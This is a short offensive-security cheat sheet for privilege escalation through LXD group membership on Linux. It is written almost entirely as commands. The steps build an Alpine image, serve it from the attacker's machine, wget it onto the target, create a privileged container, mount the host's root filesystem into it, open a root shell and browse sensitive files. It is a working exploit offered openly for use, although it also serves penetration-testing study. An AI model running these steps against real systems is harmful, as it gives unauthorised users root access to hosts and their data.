LXC/LXD (Linux Container/Daemon) Privilege Escalation

LXD is a container management extension for Linux Containers (LXC).

Basic Flow

1. Check if You are in the Lxd Group

If you belong to the Lxd group, you may be able to the root privileges.

groups
id

2. Check if Container Image Exists

List all images and check if a container image already exists.

lxc image list

If there are not container, build a new image in your local machine.

git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo ./build-alpine
python3 -m http.server 8000

In remote machine, download the “alpine-*.tar.gz” and import it.

wget http://<local-ip>:8000/alpine-v3.17-x86_64-20221206_0615.tar.gz
lxc image import ./alpine-v3.17-x86_64-20221206_0615.tar.gz --alias testimage
lxc image list

After that, create a new container from the image.

lxc init testimage testcontainer -c security.privileged=true

If you got the error “No storage pool found. Please create a new storage pool.”, initialize the lxd at first.

lxd init
# Set default values in prompt

Then create a new container as above command.

3. Mount the New Container to Root Directory

Now mount the host's / directory onto /mnt/root in the container you created.

lxc config device add testcontainer testdevice disk source=/ path=/mnt/root recursive=true

4. Start the Container

lxc start testcontainer

5. Get a Shell

lxc exec testcontainer /bin/sh

Check if you are root.

whoami

6. Retrieve the Sensitive Information in the Mounted Directory

cd /mnt/root/